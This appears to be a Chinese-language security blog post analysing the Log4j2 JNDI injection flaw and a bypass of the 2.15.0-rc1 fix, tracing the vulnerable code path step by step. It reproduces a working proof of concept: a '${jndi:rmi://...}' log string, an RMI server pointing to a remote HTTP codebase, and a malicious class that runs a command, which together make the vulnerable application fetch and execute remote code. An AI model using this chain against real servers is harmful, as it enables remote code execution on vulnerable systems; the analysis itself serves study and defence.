Apache Log4j2 漏洞分析

Apache Log4j2 漏洞分析

Gat1ta 256 2022-03-24

Log4j2这个漏洞已经出来有一段时间了,漏洞刚出来的时候刚学JAVA没多久,想分析一波但是心有余而力不足~ 经过这一段时间的学习,今天再来分析一波这个漏洞原理。

漏洞描述

Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。

影响范围

log4j <= 2.14.1

漏洞复现

首先网上找一个poc,代码很简单:
首先导入依赖:

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

然后如下代码触发漏洞:

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:rmi://172.16.3.91:1099/obj}");
    }
}

根据当前环境,poc准备完成后首先要在172.16.3.91这个地址启一个RMI服务,RMI服务代码如下:

    public static void main(String[] args)throws Exception
    {
        Hashtable env = new Hashtable();
        Context ctx = new InitialContext(env);
        LocateRegistry.createRegistry(1099);
        Reference ref = new Reference("MyClass","MyClass","http://172.16.3.91:1234/");
        ReferenceWrapper refw = new ReferenceWrapper(ref);
        ctx.bind("rmi://172.16.3.91:1099/obj",refw);
    }

然后用python在172.16.3.91监听1234端口,监听目录下要有一个MyClass.Class恶意类文件,恶意类源码如下:

class MyClass{
    static{
        try{
            Runtime.getRuntime().exec("calc");
        }
        catch(Exception e)
        {
            
        }
    }
}

一切准备就绪后,运行我们的poc代码,会发现成功弹出计算器:
image.png

漏洞分析

漏洞复现成功后,我们来分析一下漏洞原理。还是刚才的poc,调试运行,单步一步一步往下跟。
第一个比较重要的点位于org.apache.logging.log4j.core.layout.PatternLayout类中的toSerializable方法,在该方法中调用this.formatters数组中的10个PatternFormatter对象的format方法来对日志事件中的数据格式化到一个StringBuilder中。
image.png
触发漏洞的对象的数组索引是8,跟进会发现PatternFormatter调用了this.converter.format:
image.png
而converter是一个MessaagePatternConverter对象,继续跟进:
image.png
在MessagePatternConverter.format方法中,首先将我们输入的字符串与之前PatternFormatter格式化的字符串拼接成一个字符串,类似这样“15:21:15.888 [main] ERROR log4j - jndi:rmi://172.16.3.91:1099/obj”,然后遍历我们输入的字符串,判断是否有“{jndi:rmi://172.16.3.91:1099/obj}”,然后遍历我们输入的字符串,判断是否有“{”,如果有的话,则调用org.apache.logging.log4j.core.lookup.StrSubstitutor类的replace方法。
继续跟进replace方法会发现最终调用了substritute方法,继续跟进发现substritute调用了自己同名重载方法,这个方法有点长,下面分段一段一段进行简单分析:
image.png
如图,首先是寻找"${"前缀的位置。
image.png
找到最外层的前后缀后,会把中间的字符串截取出来然后递归调用substritute方法。
image.png
接下来这个for循环中进行了一些字符替换操作,这不是今天的重点,所以这里直接引用素18大佬文章

  • :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb,:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
  • :- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。
    image.png
    继续往下,最终会调用resolveVariable方法,这个方法会调用org.apache.logging.log4j.core.lookup.Interpolator类中的lookup方法。
    image.png
    在lookup方法中主要是获取关键字和服务字符串然后调用StrLookup.lookup。
    通过Interpolator.strLookupMap可以看到一共支持12个关键字:
    image.png
    继续跟进StrLookup.lookup方法:
    image.png
    可以看到,获取了一个JndiManager,然后调用JndiManager.lookup方法。
    image.png
    跟进可以看到,lookup调用了this.context.lookup。
    image.png
    查看了一下JndiManager的创建过程,发现是通过一个工厂类构造的,通过工厂类可以看到JndiManager.Context是一个InitialContext实例。
    image.png
    至此,漏洞整体分析结束,也可以证实该漏洞确实由Jndi注入造成。

RC1及绕过

在漏洞遭到披露后,Log4j2 官方发布了 log4j-2.15.0-rc1 安全更新包,但经过研究后发现在开启 lookup 配置时,可以被绕过。
首先更新log4j2到2.15.0版本,然后跟一下调试流程,发现有以下两个类和之前不一样。

MessagePatternConverter

之前这个类负责处理关键字,现在这个类被重新设计了一下,这个类的功能被模块化成几个内部类,分别是LookupMessagePatternConverterFormattedMessagePatternConverterSimpleMessagePatternConverter三各类。默认情况下,会调用SimpleMessagePatternConverter类进行消息的格式化处理:![image.png](/upload/2022/03/image3b5495082802454f9615336e60516c99.png)可以看到,并没有对{}关键字,现在这个类被重新设计了一下,这个类的功能被模块化成几个内部类,分别是LookupMessagePatternConverter、FormattedMessagePatternConverter、SimpleMessagePatternConverter三各类。 默认情况下,会调用SimpleMessagePatternConverter类进行消息的格式化处理: ![image.png](/upload/2022/03/image-3b5495082802454f9615336e60516c99.png) 可以看到,并没有对{}关键字进行识别处理。
对${}关键字的处理被放到了LookupMessagePatternConverter类中:
image.png

JndiManager

JndiManager.lookup方法中对JNDI协议、主机名、类名进行了白名单校验:
image.png
通过查看工厂方法可以看到具体白名单:
image.png
其中 permanentAllowedHosts 是本地 IP,permanentAllowedClasses 是八大基础数据类型加 Character,permanentAllowedProtocols 包含 java/ldap/ldaps。
但是在lookup方法中,异常处理的catch中并没有return,所以这就造成造成异常后可以继续向下运行this.context.lookup触发漏洞。
image.png

参考

https://su18.org/post/log4j2/

总结

RC1默认关闭了lookup,在配置开启lookup时可以绕过白名单校验。
因为log4j 2.15.0更新了好几次,所以以后通过maven下载的log4j2.15.0版本是已经修复了RC1这个漏洞的RC2版本。